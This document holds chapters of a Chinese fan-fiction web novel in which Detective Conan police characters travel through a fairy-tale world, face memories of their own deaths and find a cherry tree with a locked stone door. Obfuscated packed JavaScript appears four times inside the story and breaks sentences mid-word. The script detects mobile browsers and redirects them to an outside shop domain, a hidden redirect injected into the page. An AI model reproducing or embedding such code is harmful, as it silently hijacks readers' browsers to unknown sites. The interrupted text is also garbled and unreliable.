降谷零、诸伏景光和伊达航正在规划着空间布局,商量着给娜塔莉挪一块比较私密的空间出来。 萩原研二坐在他的驾驶座上,透过车窗远远地看着远处松田阵平的背影。 “说起来。” 他突然说:“你们知道吗?我们世界里,普通蘑菇的生命周期是多久。” 闻言,正在整理床铺的诸伏景光转头看向萩原研二,在与青年对上眼神的时候,他已经明白了对方的意思。 “短的几个小时,长的几周。” 降谷零拉开柜门,从里面拿出一个水壶,一边拿在手里检查着,一边回答对方。 “不过大部分常见的蘑菇,二到七天之内就会死亡。” “等等,zero君的意思是……” 娜塔莉先是有些惊讶,但意识到萩原研二和降谷零在说什么后,她下意识就转头看向了伊达航。 伊达航的表情里不见多少意外之色。 不只是他,降谷零、诸伏景光,以及问出这个问题的萩原研二……恐怕早就已经想到了这一点。 “看来,蘑菇应该不会跟着松田一起去山上了。” 诸伏景光走到车门边,看见松田阵平蹲在动物和蘑菇盆前的身影,他轻声说。 “松田应该也知道了吧。” 蘑菇不愿意跟着他们继续旅行,并不是不想,只是他知道自己生命有限,才不愿意了。 与其在旅途中因为生命有限被迫离开大家,不如就在这里做一个正式体面的道别。 “怎么会……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998158|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娜塔莉有些难过。 萩原研二侧眸看了她一眼。 “嘛。” 萩原研二轻快的语气打破了车内寂静低落的气氛。 “话虽如此,但这个世界和我们那里不太一样,所以也不能这样直接下结论。” “这可是一个有魔法、动物和蘑菇都会说话的童话世界~所以肯定会有很多东西和我们的世界完全不一样!” 萩原研二托着脸,对娜塔莉比了一个轻快的wink。 “小蘑菇也许只是想继续留在森林里当安罗和安瑟的邻居,而且一直被种在小小的蘑菇盆里也会很不舒服……” “嗯。” 诸伏景光弯了弯眉眼。 “也许也是因为不放心坐你的车,一不小心就会让盆里的土全部都撒出来。” 等等。 萩原研二:“……诶!hiro酱!肯定不可能是因为这个原因!” “不。” 降谷零赞同道:“我觉得很有可能。” 萩原研二:“zero不许赞同了啦!你们两个好过分!” 诸伏景光感叹道:“让乘客提心吊胆的车技啊,很糟糕呢。” 降谷零:“会得到差评的吧,次数多了会在车上贴满差评小纸条的吧。” 萩原研二:“……” 不、绝对不会有差评的。hagi不允许!!! 你们两个再乱说hagi就要黑化了,我现在就黑化给你们看哦! 看着被诸伏景光和降谷零一唱一和说得哑口无言的萩原研二,娜塔莉刚伤感起来的情绪顿时被这一幕冲散了,她想笑,又怕笑出来会被萩原研二控诉,于是努力忍住了。 伊达航看见恢复心情的娜塔莉,他的肩膀也为之一松。 生与死,这注定是个很严肃的问题,也或许是他们迟早都要面对的问题。 但现在…… 伊达航的手落在娜塔莉的肩膀上,轻轻的拍了拍。 “我们要启程了,娜塔莉。你想的话,就去和蘑菇还有安罗他们做一个道别吧。” - 娜塔莉离开了房车,往远处的火堆走去了。 伊达航看着她的背影,转头看向其他人,郑重地说:“谢谢。” 萩原研二趴在驾驶座上,轻快地晃了晃手。 诸伏景光温和地说:“伊达不用在意,而且本来也是我们的猜测影响了娜塔莉小姐的心情。” “不过,就算猜测是真的。” 降谷零把杂物收到一个柜子里,平静地说:“我们也改变不了什么。” 生命从一开始就被规定好了长度,这是任何人都无力更改的。 他们能做的,就是在死亡来临之前,做好想做的一切,以及——珍惜眼前人。 “嘛,也许也会有奇迹发生呢?” 萩原研二眨了眨眼,他托着脸说。 降谷零瞥他一眼,想说科学世界哪有什么奇迹,除了某些医学奇迹,但是生老病死是人类的必经之路,就算再多活几年最后也得死…… “我觉得……” 伊达航却突然开口,打断了正欲开口的降谷零。 伊达航想起自己的记忆、想起记事本上写的那些东西,又看见站在他面前的、活生生的萩原研二,抓了抓头发。 “也说不定吧……奇迹。” 要是他的记忆和记事本里写的都是真的,他、萩原研二、松田阵平三个人现在能活生生的站在这里,就已经是一个奇迹了。 注意到伊达航的视线落点,降谷零眉梢一挑。 他现在越来越想知道那个记事本上到底写了什么了。 与此同时。 背对众人的诸伏景光抬起右手,轻轻按在了胸口上。 代表了生命的心脏在他的胸腔里鲜活地跳动着,说明着这个名为“诸伏景光”的人的存在。 奇迹吗…… 19.Chapter19 “走吧。” 松田阵平关上了车门。 萩原研二对着车外的小动物们招手道别,然后就踩下了油门,房车驶入了森林中,很快,后视镜里的动物们的身影就变成了小小的黑点,消失在了画面里。 萩原研二操控着方向盘在森林里被枯叶和杂草覆盖的土地上行驶着,趁着天色还没有暗下来,他们决定今晚之前先赶到山脚下,找到进山的入口。 维森说过,那座山的入口处看守着一位仙女,他们要上山,还需要通过仙女的测试,答对仙女提出的问题,才能得到上山的资格。 烤火的时候几人顺便就询问了维森,有没有仙女提问的内容和答案,毕竟他们对这个世界可是完全不了解。 维森便把他之前在仙女那儿被问到过的问题和答案告诉了他们。 松田阵平从怀里拿出一个小本子,翻开看着上面的内容,皱着眉。 狐狸怎么过河……用鼻子过河。这个答案之前蘑菇说过,虽然有点难以想象,但在这个世界里他勉强可以接受。 然后就是后面的其他问题。 玫瑰是什么颜色的? 玫瑰没有颜色。 鲸鱼为什么不说话? 因为没有人陪它说话。 钓鱼时要念什么咒语? 呜哇! …… 为了让坐在后面的降谷零他们也听到,松田阵平一个一个地念了出来,他面无表情地“呜哇”了一声,旁边开车的萩原研二瞬间就笑了出来。 “噗。” 萩原研二弯起眼,笑吟吟地说:“原来在这个世界里钓鱼还需要念咒语吗?好神奇。我们有时间一起去钓鱼吧!” 降谷零:…… 这个咒语也只有你能念出来了吧? 诸伏景光摸了摸下巴,果然是和他们世界非常不同的一个世界啊。 而且,“也不知道那位仙女会不会问之前问过的问题。” 如果对方不会重复询问的话,以这些问题和答案这出乎意料又天马行空的内容,他们可能很难答对。 萩原研二轻快地应了一声,并没有太多的担忧。 “船到桥头自然直,先到那里再说吧!” 降谷零微微点头,他也没有多担忧这一点,比起通行证,他觉得现在最重要的是另一件事。 降谷零坐在房车的小桌子前,诸伏景光挨着他坐在里面靠窗的位置,在他们两人对面,则是娜塔莉和伊达航。 “这辆车的所有东西都已经排查过了。” 金发青年抬起紫灰色的眼眸,他看向大家,神色冷静又严肃。 考虑到这个世界的不科学性,刚才降谷零在整理房车里的东西时还特意想办法确认了车内的这些物件全部都没有“生命体征”。 动物蘑菇都会说话了,这些家具物件会说话也不是不可能……以防万一降谷零还是和诸伏景光一起简单地检查了一下。 “我们现在来交换一下目前拿到手里的情报?” “啊,正好我也是这样想的。” 伊达航把他的记事本拿了出来。 “我先说说我这边的情况吧。在看到这个本子的时候,我想起来了一点记忆。” 松田阵平抬起眼眸,透过后视镜看向后方的四人。 他听见伊达航说:“我想起的记忆不多,但……” 伊达航侧头看了看身边的娜塔莉,深吸一口气后才沉声说:“我想起我被车撞死了。” “……” 房车内的气氛瞬间凝固了下来。 降谷零狠狠皱眉,他看向伊达航,神色凝重。 “伊达,你觉得你已经死了?” 伊达航:“我的记忆和潜意识确实这样告诉我,但我现在还站在你们面前和你们说话不是吗?” 这就是伊达航一直在纠结的问题,原谅他只是一个普普通通的刑警,他真的不懂这些生啊、死啊、灵魂什么的…… 如果他的记忆是真的,这个世界和现在的他都很不科学啊! 降谷零捏住下巴,垂眸思考着说:“记忆和潜意识会不会也有被人为篡改的可能?” 也许伊达航想起的死亡的记忆是别人催眠给他的假象? 毕竟,人死是不能复生的……对吧? 伊达航摸了摸后脑勺,他不懂这些,不过觉得降谷零说得确实也有道理。 “对了。” 伊达航推出了他的记事本。 “不只是我,这个记事本上说,萩原和松田他们也……” 萩原研二握着方向盘的手瞬间紧了几分。 “你好好开车。” 松田阵平瞥他一眼,警告这家伙不要光把眼神往他这里飘不看路,免得他们六个人又一起出车祸。 然后,松田阵平转头对降谷零四人点了下头。 “我也有一点隐约的记忆。” 他摩挲了一下西装外套的口袋,平静地说:“我应该已经死了,hagi也是。” 萩原研二抿了抿唇。 “你们两个呢?” 松田阵平看向降谷零和诸伏景光,他扫过诸伏景光脸上的表情,视线最终停在降谷零的身上。 “你没有?” 降谷零摇头,他完全不觉得自己死过,甚至觉得自己在做一件很重要的事,需要立刻回到原来的世界。 如果不是因为诸伏景光、还有坐在这里的所有人,降谷零可不会像现在这样耐心地、慢吞吞地像是旅游一样坐车上山。 不过,也是因为这一点。 也是因为……降谷零转头看向身边人。 松田阵平将金发青年的动作和神态尽收眼底,他毫不犹豫地开口。 “你没有你自己死了的感觉,但你有hiro死了的感觉,对吧?” 【hiro死了】 这句话就像是投入水中的炸药,一瞬间在降谷零脑海里炸开,他倏地转头,锋利的眸光淬上了无边寒意,看向了出声的松田阵平。 “你在说什么?!” 金发青年身上的气息一瞬间变得深沉残酷了起来,他的压迫感太强,强到完全不像是一个普通警察该有的气势。 娜塔莉看着这一幕,惊讶不已。 zero君……好像变了一个人一样,而且身上的气息,好吓人。 甚至比起最开始看见松田阵平的时候,陌生青年身上那股浑然的冷酷气息更可怕。 其实这样一看,zero君才更像是极道大佬吧。 …… 面对降谷零突然危险强势起来的气息和压迫,松田阵平丝毫不惧,他波澜不惊地看着金发青年。 降谷零的反应完全证实了他的话语,松田阵平意外又不怎么意外。 如果是他…… 松田阵平垂了垂眸,而就在这时,因为他的话激起了某些条件反射的降谷零已然反应了过来。 “抱歉。” 降谷零深吸了一口气。 “我有点激动了。” 他没有去看其他人的表情,垂下头准备调整自己的情绪。 一只手从金发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009120|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青年身旁伸了过来。 “zero。” 诸伏景光握住了他的手,另一只手按在了降谷零的肩膀上。 他看着低下头的金发青年,用一如往常的温和语气轻唤着青年的名字。 “……” 熟悉的声音带着熟悉的语气,手背上、肩膀上的触感都真实无比,在这寂静的空间里,青年的呼吸声也清晰可闻。 降谷零顿了顿,抬起了头。 他看见了诸伏景光就坐在他身边,看见对方近在咫尺的面容,和那双宁静温和的蓝眸。 一切的一切,都是真实存在的。 “我在这里。” “……” 降谷零捏紧拳头,低低地“嗯”了一声。 松田阵平轻哼了一声,他看着恢复了冷静的降谷零,说:“你还觉得我们的记忆和潜意识都是假的吗?” 嘴上说着他们的潜意识和记忆是假的,自己不也已经相信了吗? 相信他和诸伏景光是很好的朋友、相信他曾经失去过对方的痛苦。 不过,松田阵平也能理解降谷零为什么会这样想:一直以来坚信的“死人无法复活”的观念和眼前的现实产生了冲突,他们又失去了大部分记忆,想起来的零碎记忆并不能给他们安全感,反而会让如今的他们开始怀疑起这部分记忆的真实性。 而松田阵平和其他人之所以没有降谷零这样强烈的质疑反应,其实也有一部分破罐破摔的原因。 想到这里,松田阵平看着降谷零,眯了眯眼。 如果想起来的记忆是假的,为什么只有降谷零的记忆里他没有死? 如果是真的,为什么他们这些死人又会和活着的降谷零一起出现在这里? …… 一片安静之中,正在行驶的房车停了下来。 “我们好像到了。” 萩原研二踩下刹车,透过车窗,抬起头看着眼前的场景。 很奇怪,之前在森林里的时候,他们抬头时还能越过树木远远看见一座并不算高耸的山脉伫立在森林中心,但随着萩原研二开车离山越来越近,这座山的周围却渐渐围起了一层层的白雾。 白雾从山顶逐渐往山脚蔓延,山上的一切都被这层雾笼罩了起来,而萩原研二之所以踩下刹车,也是因为——他的面前有一堵雾气形成的墙,以分界线的形式挡在了他们的面前。 这雾实在有些奇怪,谨慎的六人并没有打开车门下车,萩原研二开车沿着雾墙行驶了一会儿,在开了好久也不见尽头后,最终还是踩着油门缓缓驶入了雾中。 房车被白色的雾气吞没,明亮的车灯也照不清雾里的一切,萩原研二控制着车速在雾茫茫的世界里前进着,但他也不知道他准备往哪里开。 这情况实在有些诡异,坐在后面的降谷零四人都凑了上来,一起透过车窗打量着外面的景象。 “什么都没有啊。” 松田阵平打量着四周,他的眼前除了白色就是白色,看久了感觉眼睛都干涩了起来。 “有。” “什么?” “有樱花。” 降谷零抬起手,指着车外的某个方向说:“那边天上有樱花在飘过来……你们看不见吗?” 在他的眼中,朵朵樱花正在从白雾笼罩的天际缓缓飘落,有些樱花掉落地面没了踪影,有些樱花落在了房车的玻璃上,五瓣粉色的花瓣片片分明。 这是只有他能看见的景象,而这些从同一个方向飘来的樱花,仿佛也在为他们在这一片虚无之中,指明前进的方向。 20.Chapter20 寂静的白色空间里,一辆房车缓慢地行驶着。 按照只有降谷零才能看见的来自樱花的指引,萩原研二开车载着大家往未知的方向前进。 “你只看见了樱花?” 松田阵平皱起眉。 在这个雾区里,只有降谷零能看见与他们其他人眼中不一样的东西。 这无疑进一步肯定了松田阵平之前的感觉:在他们六个人里,降谷零是特殊的。 降谷零点头。 金发青年的视线看向前方,那些从天际落下的樱花不知道是从哪里飘来的,起初还只是三两朵,他们越往前开,樱花就越多,这些樱花簌簌地落在车窗上,很快就在车头堆起了一簇粉色的花海。 虽然这一幕很漂亮,但此刻降谷零可没有什么浪漫感,他只觉得情况十分诡异。 为什么只有他能看见? 他和其他人相比有什么特殊的地方……降谷零顿了顿。 “说起来。” 松田阵平侧过头,漫不经心地说:“我们这些人里,好像只有你不觉得自己死了。” 降谷零没否认,从最开始见到松田阵平时他就觉得对方的洞察力非常厉害,对方说的也是他想到的。 这就是目前他和其他五个人唯一不同的地方。 松田阵平摸了摸下巴,他想说这样看来他们的记忆很有可能是真的,不过余光瞥见其他人又咽了回去,转而道:“樱花有什么含义吗?” 难道是什么樱花妖怪在偷偷搞事? 诸伏景光问:“zero,你看见的樱花是什么样子的?” 降谷零:“是很常见的五瓣樱花,不过……这些樱花全都是整朵飘落的。” 没有一朵缺少花瓣,全都完完整整地。 五瓣樱花。 伊达航抓了抓头发,欲言又止。 他没记错的话,日本警察的警徽好像就是五瓣樱花。 但是感觉也扯不上什么关系,而且要说人数的话,他们这里有六个人,也不太对。 不过,娜塔莉不是警察,如果他记事本里提到的另外两个同期好友就是这里的zero君和hiro君的话,他们这里正好就有五名警察了。 但伊达航其实并不确定,zero和hiro是不是他记事本里提到的另外两个同期。 他的记事本里记载了很多萩原研二和松田阵平有关的事,但对这另外两位同期却几乎都没提起半点细节和特征,甚至只在最开始简单写了几句,抱怨两人毕业后销声匿迹了,连毕业前约定好的聚会也没来参加。 从这之后,记事本上就再也没有提到过那两个人,如果是粗心大意的人,在阅读记事本甚至有可能就直接忽略过去了,以为记事本的主人只有两名同期好友。 而读完记事本的伊达航隐约有所察觉——他的那两个同期应该是去执行危险的保密任务了,而后来的自己也意识到了这一点,为了保护同期的安全,再也没提及过他们。 保密任务…… 伊达航的视线停在降谷零身上,他想起了对方刚才爆发出的那不似警察的危险气息。 - 樱花的飘落有尽头吗?在这绽放、飘落、永不分离的五瓣樱花所指引的地方,等待他们的会是什么? “往左、往前、稍微朝右转三十度……” 从进入白雾区后,六个人的前进方向就都是降谷零在指引,房车里没有时间,他们也不知道开了多久,但眼前全是白茫茫的场景,看多了眼睛实在受不了。 “萩原,我来开一会儿吧。” 诸伏景光和萩原研二换了位置。 “那就交给你了,hiro酱~” 萩原研二揉了揉眼睛,站起来朝房车里面走去,坐在副驾驶的松田阵平抱着手臂,仰头和椅后的降谷零对上视线。 降谷零:你是不是该有点自觉,给我让个座位? 松田阵平:怎么,想和你的hiro过二人世界? 降谷零:。 什么二人世界?!我是要指引方向! “那你要看仔细了,别错过了樱花妖怪。” 松田阵平打着哈欠站了起来。 降谷零嗤了一声:“哪有什么妖怪。” “现在这个情况,可别把话说的太死啊。” 松田阵平摆了摆手,朝萩原研二、伊达航和娜塔莉他们坐的桌边走去。 “小阵平!” 萩原研二举起一盒卡牌,对松田阵平招手:“我找到了一副桌游牌,我们来玩吧。” “娜塔莉小姐和班长也一起来吧?反正现在也没事。” “啊。” 伊达航接过萩原研二发过来的牌,他随便看了一眼,说:“怎么突然叫我班长?” “因为伊达的记事本上,不是写了你是我们那一届警校生的班长吗?” 萩原研二把牌发给其他人,轻快地说:“我觉得叫班长很合适!” “对吧?班长。” 伊达航摸了摸后脑勺,算是默认了这个称呼。 “你还真是闲不下来。” 松田阵平几步走过来坐下,拿起座位上的牌。 萩原研二:“因为光是坐着真的很无聊欸——小阵平不觉得吗?” 松田阵平:“不觉得。无聊就去休息。” 萩原研二:“不要!” 娜塔莉整理着手里的牌,看着对面的两个人一人一句地“吵架”,一个人表情冷淡、另一个人脸上带着笑意看着对方,语调好像始终都是上扬的。 真有活力啊,萩原先生。 娜塔莉放下一张牌。 说起来,现在的萩原先生是不是只有二十二岁?比她和大家都还要年轻很多呢。 松田阵平:“你是有多动症吗?……开了那么久的车,不累吗?” “我就知道小阵平是在关心我。” 萩原研二弯起眼眸。 松田阵平面无表情地说:“我只是觉得你吵到我了。” 活蹦乱跳叽叽喳喳的,不仅吵到了他的耳朵,也吵到了他的眼睛。 “口是心非可不是好习惯哦,小阵平。” 松田阵平:“闭嘴。” 房车后面的四人打发着时间,房车前面,诸伏景光按照降谷零的话操控着方向盘。 “hiro如果感觉累了,我来开也可以。” 降谷零说。 “嗯。” 诸伏景光目视着前方,闻言应了一声。 “不过,樱花会挡你的视野吧?我来开就好。” 诸伏景光转头,对降谷零弯了弯眉眼。 “zero只需要替我指明方向就好了。” 面对诸伏景光温和的蓝眸,降谷零不由顿了一下:“……好。” 他摸了摸鼻子,诸伏景光已经转回了视线,一边看着前方的路况一边说:“虽然我没有萩原那样的车技,不过现在这种情况也能应付。” “没有。” 降谷零摇摇头,他认真地说:“萩原开车太危险了。还是像hiro这样稳一点好。” 听到身边的金发青年一本正经的话语,诸伏景光忍住了转头看向对方的动作,眼底溢出了笑意。 “可是,虽然现在看起来很安全,万一从这些遮挡视野的白雾里窜出什么东西来,我可能很难及时反应过来。” 诸伏景光刚说完,就听见降谷零的声音从身边传了过来。 “没关系。” “我会帮hiro随时注意周围的情况的。” “hiro不用担心反应不过来。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015846|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 降谷零一边说着一边打量四周。 按照常理来说,这些飘落的樱花应该应该是从樱花树上落下来的,他们沿着樱花飘来的方向行驶,应该能找到樱花的源头。 一颗……“樱花树。” 降谷零看着视野尽头若隐若现的那个影子,他眯起了眼,刚准备提醒诸伏景光,就听见了对方的声音。 诸伏景光和降谷零看着同一个方向,他用手指了一下:“那里好像有一个影子……好像是一颗樱花树。” 诸伏景光抬起眼眸,看向纯白的天际。 粉色的樱花在他眼前徐徐飘落,一朵又一朵从天上掉落下来,它们落在房车车头,在车窗上堆叠、黏着,只是眨眼间就挡住了诸伏景光和降谷零的所有视野。 两个人顿时一惊,看不见前方的情况,诸伏景光立刻就踩下了刹车。 刹车带来的惯性让两人身体轻微晃了晃。 但下一秒,等他们再定神看向车外时,神奇的一幕发生了—— 有一阵风,不知是从什么地方吹了过来。 贴在车窗上的樱花被无形的风一朵一朵吹开,这些花朵再次完整地飘向天际,随着车窗上的樱花被风剥离,笼罩在整片空间里的白雾也被这阵风一并吹散了。 一瞬间,世界就像是从虚无来到了现实。 “发生什么事了?” 后面坐着的四人走上了前来,此时车窗外的场景已经大不相同。 浓雾无影无踪,车轮再次碾在被落叶覆盖的草地上,高大的树木从房车两侧的灌木丛里生长出来,翠绿茂密的树叶层层叠叠遮住天际,夕阳昏黄的微光给世界染上了一层朦胧的金色。 而在他们的正前方,有一颗巨大的樱花树。 也许这个世界此刻正是樱花盛开的季节,这颗樱花树绚烂地盛开着,朵朵樱花完整地从枝干上掉落下来,又在风的承托下送到六人面前。 “好大的樱花树……” 萩原研二有些惊叹地看着这一幕。 “进山的路好像在树后面。” 松田阵平看着前方,这棵樱花树挡住了他们前进的路线,不过此时他们又能清楚的看到了,之前他们看见的那座山的轮廓,就在这颗樱花树身后。 诸伏景光重新启动了车辆,房车载着六人朝樱花树下开去。 随着他们靠近那棵树,树底下的画面也逐渐清晰了起来,此时六人才看见,这棵樱花树的树干上,竟然有一扇上锁的石头门。 除此之外,在这扇门不远处,樱花树下还埋着一块方方正正的小石碑。 石碑面前放着一个小箱子,从树顶掉落的樱花安宁地躺在石碑周围,拥簇成一圈粉色的花环。 房车停了下来。 踩着樱花和草地,几人下车走到了樱花树面前。 商量片刻后,六人很快就分开行动,诸伏景光、萩原研二、伊达航和娜塔莉两人一组,去沿着樱花树寻找其他可能的进山途径,降谷零和松田阵平走到了镶嵌在樱花树树干上的石头门前。 降谷零抬头打量着这扇石头门,他拿起门上的锁看了看,又伸手放在门上试着用力推了推。 “如何?” 松田阵平在石碑面前蹲了下来,抬手轻轻拂去石碑上的樱花,看着这块未刻一字的石碑,他的视线缓缓落在了石碑面前的箱子上。 看见箱子上有字迹后,他眯起眼,眼里露出些许古怪之色。 这难道就是维森说的仙女的问题? 这么简单? “推不开,这个锁也不是能撬开的类型。需要钥匙。” 降谷零说着,走到了松田阵平身边,俯身和他一起看向放在石碑前的箱子。 看清上面的字迹后,降谷零身形一顿。 这个问题,为什么…… 21.Chapter21 就在松田阵平和降谷零看着箱子上的字迹表情各异之时,另一边,去周围探查情况的四个人正在原路朝樱花树下返回。 伊达航说:“没有其他的路,我们应该只能从这扇门过去。” 他们刚才商量了一下,四个人两两分开沿着樱花树周围往里走,想要寻找有没有能绕过这棵树上山的路,但等他们各自走了一会儿后,不仅没有看到应该从另一个方向绕过来的两人,反而眼前又开始出现了熟悉的白雾。 以防有危险发生,伊达航带着娜塔莉非常谨慎地停了下来,转身就往回走。 诸伏景光和萩原研二倒是艺高人胆大,在看见周遭逐渐涌起的白雾时没有立刻停下脚步,而是继续朝前走了一段距离。 最先消失的是脚下的草地,然后周围的树木也被白雾包裹,消失在虚无的纯白之中。 在掌心下樱花树的存在也变得若隐若现、即将消失之时,诸伏景光当机立断地叫住了萩原研二,两个人开始原路返回。 “真神奇啊。” 一边走,萩原研二一边回头看去。 消失的树木和脚下的地面在恢复原状,他们很快又踩在了柔软的草地上。 “这样看来,我们目前应该只能按照这个世界给我们规划的路线前进。” 诸伏景光的语气很平静,但他垂下的眼眸里却含着思索和凝重之色。 不只是他,在经过这一遭后,所有人都对这个世界的真实性产生了一点怀疑。 白雾、树木土地的消失和出现太过离奇和玄幻,完全违背了他们潜意识里对科学世界的印象。 “说起来……我问过小维森。” 萩原研二指尖轻点侧脸。 “我问他森林和山之外还有什么。他说:世界就是森林。” “很耐人寻味的答案,对吧?” “听起来……” 娜塔莉想了想说:“好像游戏一样。” 和货真价实的现实世界不同,游戏的世界大小总是取决于游戏的故事背景,如果游戏的剧情只发生在一小片土地上,那么游戏就不会建设多余的、不会发生剧情的世界,在整个游戏里,世界就只是那一小块。 伊达航:“难道我们在游戏里?” 萩原研二耸了耸肩,没有下结论:“我也不确定,不过我感觉没有那么简单。” 他的印象里好像没有这种整个人都沉浸式投入的游戏,不过万一呢?而且他们的记忆也是一个疑点…… 萩原研二:“还不能确定这个世界到底是什么情况,不过hiro酱说的没错,我们现在应该只能跟着指示走了。” “先回去看看小阵平和zero酱那边的情况吧。” - 六人在樱花树下聚头。 “游戏?” 听了萩原研二他们的经历和推测后,松田阵平挑了下眉,意外又不意外。 这确实是个可能很高的猜测。 “小阵平,你们找到开门的钥匙了吗?” “应该在这个箱子里面。” 松田阵平曲起手指,指骨敲了敲石碑面前的盒子。 “还有箱子上的这个问题……zero说让我先别回答,等你们回来。” 从回来的路上诸伏景光就一直在垂眸思索着,听到松田阵平的话,他从沉思中回过神来,抬眼看向了站在旁边的金发青年。 降谷零的神色看不出什么异常。 “我希望你们都看一看箱子上的问题。” 他这样说。 “嗯?” 萩原研二探头看去,只见箱子顶部刻着一句话,而箱子上锁的位置有着两个按钮,一个刻着圆圈、另一个刻着叉。 那是一个很简单的问题。 “樱花一共有五片花瓣吗?” 萩原研二念出这句话时,正好有一朵樱花从他头顶飘落下来,停在他的肩膀上。 萩原研二抬手捏起这朵粉嫩的樱花,眨了眨眼。 “送分题?” 答案就在他们眼前,这么简单的问题,应该不至于让降谷零特意强调才对。 诸伏景光眸光一闪,他问:“zero,你看见的问题是不是和我们不一样?” 降谷零点了点头,他看了一会儿站在面前的大家,侧过头,声音很平静地说。 “我的问题是……” “你希望死人复生吗?” - 不同的问题,相同的按钮。 松田阵平五人看到的问题的答案显而易见,只要按下圆圈按钮,他们就能打开箱子,从里面得到开门的钥匙,接着上山。 但在按下按钮的一瞬间,他们也同时会回答降谷零看见的那个问题。 【死人复生。】 之前大家只是凭借着一点残留的潜意识和零碎的记忆感觉自己已经死了,但现在降谷零看见的问题可谓是一点也不掩饰地把一切都摆在了明面上。 以及,降谷零为什么是特殊的那一个。 樱花树下,无字石碑安静地埋在土壤里,它面对着站在它前面的六个人,就好像在暗示着什么。 松田阵平盯着这块石碑,眯了眯眼,过一会儿,他突然说:“要不把这石碑挖出来看看?” 其他人:? “如果是墓碑的话,下面说不定有东西。” 就好像说了一句再寻常不过的话,松田阵平的表情认真得让娜塔莉一时分不清对方究竟是不是在开玩笑。 提起死亡后,再看这块石碑时确实很容易联想到墓碑,但松田君说的也太直接了……而且挖开石碑,这不就是在…… “挖自己的坟墓吗?” 萩原研二兴致勃勃地说:“听起来好有趣哎!这下面会不会还能找到我们的尸……身体?” 娜塔莉:…… 萩原君,你刚才是想说尸体对吧? 伊达航扶了扶额,不知道为什么,对松田阵平这天马行空的想法竟然不觉得有多意外。 松田阵平:“怎么样?挖开看看?” 诸伏景光想了想,没有阻止松田阵平,他没有意见,降谷零就更没有什么意见了。 伊达航没有立刻回答,他询问地看向娜塔莉。 虽然这一幕十分奇怪,但娜塔莉没有对松田阵平的想法提出反对,而且她觉得这底下不太可能会有他们的尸体。 就这样,挖碑行动得到了所有人的一致同意,萩原研二甚至饶有兴致地想要和松田阵平一起挖。 反正只是一块普通的无字石碑而已,而且就算是他们的坟墓又如何?都诈尸了挖一挖自己的坟墓好像也没什么吧? 说干就干,两个人回到房车里翻找了一番,找了两个差不多的工具回到石碑前,松田阵平拿着炒菜用的铲子对准石碑附近的土壤用力一挖。 抱起手臂站在一旁围观的降谷零眼睁睁地看着卷发青年手里的铲子弯曲成了一个U形,却连地面上的草都没挖出来一株。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028699|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……” 松田阵平看着变形的铲子,微微挑眉。 他的力气他自己再清楚不过,这一铲子下去怎么说也能挖出一个洞…… 松田阵平扔掉手里报废的U型铲,挽起袖子直接上手抓住了石碑。 他先试着把石碑前后晃了晃,想要先松动石碑下的土壤,但这里的土壤就像是产生了巨大的吸力,无论松田阵平用上多少力量,这块石碑都纹丝不动地埋在土地里。 降谷零眸光微闪,他已经意识到石碑和土壤有问题,不过嘴上还是说:“怎么?力气不够?连块石碑都扳不出来。” 就这力气,之前还好意思理直气壮地说自己可以对付毒蛇。 松田阵平呵呵一声,站起来摊手示意降谷零自己来。 “我就不信你能挖出来。” 降谷零眯起眼,这是在说他的力气比你这家伙小吗? 胜负欲在莫名其妙的时候突然出现了。 诸伏景光眨眨眼,他本来想说这个石碑应该有问题,可能挖不出来,但看见松田阵平和降谷零两人的表情、和双双走向石碑的那气势汹汹的背影,他把嘴里的话暂时咽了下去,有点好笑地看着两个人一起上手扳石碑。 嗯,反正也不急……zero想玩就玩吧。 降谷零上手扳了扳石碑,最开始还有些收着力,等发现石碑纹丝不动后才加重了力道。 然而,不管他怎么用力,石碑连倾斜的迹象都没有,到后来伊达航和诸伏景光都试了试。 萩原研二蹲在旁边,两根手指捏起来比了一个长度为零的距离:“毫无移动,大失败!” 松田阵平嘲讽道:“还没我厉害,我至少移动了一毫米!” 降谷零面无表情地怼回去:“那就麻烦你努努力,再把这个石碑移动几百个‘一毫米’,把它弄出来。” 